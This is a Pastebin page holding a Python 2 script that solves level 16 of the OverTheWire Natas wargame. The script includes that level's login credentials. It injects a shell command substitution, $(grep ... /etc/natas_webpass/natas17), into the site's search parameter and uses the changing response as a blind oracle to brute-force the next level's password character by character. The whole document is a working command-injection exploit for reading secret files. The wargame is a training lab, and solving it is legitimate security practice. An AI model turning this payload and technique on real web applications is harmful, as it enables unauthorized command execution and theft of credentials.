Guest User

Natas16.py

a guest
Jul 17th, 2014
578
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import httplib
  3. import urllib
  4. import base64
  5.  
  6. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
  7.  
  8. headers = {}
  9. username = "natas16"
  10. password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
  11. conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org")
  12. login = base64.encodestring(username + ":" + password).replace('\n', '')
  13. headers["Authorization"] = ("Basic " + login)
  14.  
  15. i = 0
  16. passwd = ""
  17.  
  18. while i != 32:
  19. print "Figuring out keyword for number " + str(i+1) + "..."
  20. for c in charset:
  21. passwd += c
  22. query = urllib.quote_plus("$(grep -E ^" + passwd + ".* /etc/natas_webpass/natas17)test")
  23. conn.request("POST", "/?needle=" + query + "&submit=Search", "",headers)
  24. raw = conn.getresponse()
  25. data = raw.read()
  26. if data.count("test") == 0:
  27. print"Current password: " + passwd
  28. i += 1
  29. break
  30. else:
  31. passwd = passwd[:-1]
  32. conn.close()
  33.  
  34. print "Final password: " + passwd
Advertisement
Add Comment
Please, Sign In to add comment